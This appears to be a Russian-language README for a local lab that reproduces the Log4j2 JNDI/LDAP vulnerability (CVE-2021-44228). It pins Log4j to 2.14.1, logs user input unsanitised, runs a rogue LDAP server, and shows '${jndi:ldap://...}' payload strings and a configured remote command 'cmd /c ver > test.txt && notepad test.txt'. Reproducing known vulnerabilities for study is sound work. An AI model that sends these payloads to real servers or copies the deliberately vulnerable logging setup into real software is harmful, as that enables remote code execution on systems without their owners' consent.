
Тест уязвимости Log4j2 LDAP (CVE-2021-44228)
🎈 Тестировалось в среде Spring Boot 2.x
pom.xml : Версия Log4j2 понижена до уязвимой версии
<properties>
<java.version>17</java.version>
<!-- Текущая версия Spring Boot имеет более высокую версию log4j, чем уязвимая 2.14.1, поэтому намеренно понижаем версию.-->
<log4j2.version>2.14.1</log4j2.version>
</properties>
LoggingController : Добавлен метод контроллера, который принимает пользовательский ввод и сразу его логирует
@PostMapping("/form")
public String form(String ldapString, RedirectAttributes rttr) {
try {
LOGGER.info("{}", ldapString);
rttr.addFlashAttribute("exception", "Исключение не возникло");
} catch (Exception e) {
rttr.addFlashAttribute("exception", "Исключение возникло: " + e.getMessage());
}
return "redirect:/";
}
Запуск браузера

При фактической отправке строки ${jndi:ldap://127.0.0.1:19090/run} на сервер, сервер пытается подключиться к 127.0.0.1:19090.
2022-01-03 13:16:52.526 INFO 14736 --- [nio-8080-exec-7] o.m.t.c.LoggingController : ${jndi:ldap://127.0.0.1:19090/run}
2022-01-03 13:17:09,993 http-nio-8080-exec-10 WARN Error looking up JNDI resource [ldap://127.0.0.1:19090/run]. javax.naming.CommunicationException: 127.0.0.1:19090 [Root exception is java.net.ConnectException: Connection refused: connect]
...
Поскольку LDAP-сервер на локальном порту 19090 не запущен, возникает исключение Connection refused: connect и регистрируется ошибка.
В коде LOGGER.info("{}", ldapString); исключение JNDI не было выброшено.
Из кода https://github.com/veracode-research/rogue-jndi были взяты только части, связанные с Tomcat, и составлен простой проект Spring Boot.
Причина, по которой были взяты только части, связанные с Tomcat...
Поскольку целевой тестовый сервер основан на встроенном Tomcat Spring Boot, решили, что достаточно исследовать только Tomcat для проверки работы уязвимости.
Подготовка команды
Чтобы не ограничиваться простым калькулятором, попробовал скомбинировать команды cmd.
ldapserver-config.properties
# Записать версию ОС Windows целевого сервера в текстовый файл, затем открыть его в Блокноте
ldaptest.remote.command=cmd /c ver > test.txt && notepad test.txt
...
На практике оказалось, что действительно возможно удаленное выполнение исполняемого файла на целевом тестовом сервере. Способ проверки приведен ниже.
Запуск ldap-server и target-server
# Запуск LDAP-сервера
C:\git-mklinkj\log4j2-test\ldap-server>mvnw clean spring-boot:run
# Запуск тестового целевого сервера
C:\git-mklinkj\log4j2-test\target-server>mvnw clean spring-boot:run
Отправка строки ${jndi:ldap://127.0.0.1:19090/o=tomcat} на тестовый целевой сервер и проверка

В корне проекта target-server был создан файл test.txt и открыт в Блокноте.
Для создания полезной нагрузки (payload), отправляемой целевому Tomcat, используется Nashorn — реализация JavaScript в Java. Начиная с Java 15, Nashorn полностью удалён. Из-за этого LDAP-сервер отправлял команду целевому Tomcat, но команда не выполнялась.
В этом случае достаточно было добавить в библиотеки целевого сервера Tomcat один из двух: nashorn-core или rhino-engine.
<dependency>
<groupId>org.openjdk.nashorn</groupId>
<artifactId>nashorn-core</artifactId>
<version>${nashorn.version}</version>
</dependency>
<dependency>
<groupId>org.mozilla</groupId>
<artifactId>rhino-engine</artifactId>
<version>${rhino-engine.version}</version>
</dependency>
Для удобства управления версиями я изменил pom.xml на отношение родитель-потомок, и теперь его можно запускать из каталога, где находится родительский pom.
# Полное тестирование
$ mvnw clean test
# Поскольку не запускается в фоне, каждый нужно запускать в отдельном окне консоли.
$ mvnw clean spring-boot:run -pl ldap-server
$ mvnw clean spring-boot:run -pl target-server
# Также можно зайти в каталог дочернего проекта и запустить оттуда.
$ cd target-server
$ mvnw clean spring-boot:run
Данное программное обеспечение предоставляется только в образовательных целях и/или для тестирования систем, на которые пользователь предварительно дал разрешение на атаку.
(Эту фразу я добавил, так как она была и в rogue-jndi. 😓)